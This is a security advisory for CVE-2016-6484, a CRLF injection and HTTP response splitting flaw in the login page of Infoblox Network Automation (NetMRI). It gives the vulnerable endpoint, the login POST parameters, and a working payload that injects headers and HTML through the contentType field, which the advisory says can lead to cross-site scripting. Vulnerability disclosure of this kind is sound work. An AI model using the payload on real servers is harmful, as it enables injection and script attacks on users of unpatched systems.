Exploit Title: [CVE-2016-6484] Infoblox Network Automation CRLF Injection/ HTTP splitting vulnerability
Product: Infoblox Network Automation
Vulnerable Versions: 7.0.1 and all previous versions
Tested Version: 6.9.2
Advisory Publication: 06/09/2016
Vulnerability Type: [CWE-113:] Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Response Splitting)
CVE Reference: CVE-2016-6484
Credit: Alex Haynes
Advisory Details:
(1) Vendor & Product Description
--------------------------------
Vendor:
Infoblox
Product & Version:
Infoblox Network Automation v7.0.1
Vendor URL & Download:
https://www.infoblox.com/products/network-automation
Product Description:
"Infoblox also offers a complementary, powerful network automation platform which enables discovery, switch port management, network change configuration and compliance management for multi-vendor network devices. Automation cuts down administrator workload and reduces risk of network outages due to improper configurations or changes."
(2) Vulnerability Details:
--------------------------
The login page of netmri is vulnerable to a HTTP splitting/CRLF injection.
https://NETMRISERVER/netmri/config/userAdmin/login.tdf
The POST of the login action contains the following parameters, and the contentType parameter can be modified to be reflected in the response header:
skipjackPassword=test&width=100&contentType=application/xml&msg=Please+wait+while+your+credentials+are+validated...&url=%2Fnetmri%2Fconfig%2FuserAdmin%2Flogin.tdf&mode=DO-LOGIN&skipjackUsername=test&multipartFile=&title=Waiting+For+Process&filename=&licenseFile=input.licenseFile&authServerList=192.168.X.X%2C+10.X.X.X
Once we control content-type, we can inject carriage return : %0a and line feed : %0d characters to break the header and introduce our own, effectively splitting the response. We can then introduce our own HTML and/or javascript to provoke a HTML injection or cross-site scripting attack.:
skipjackPassword=test&width=100&contentType=%0d%0aContentLength:%2019%0d%0a%0d%0aInjected HTML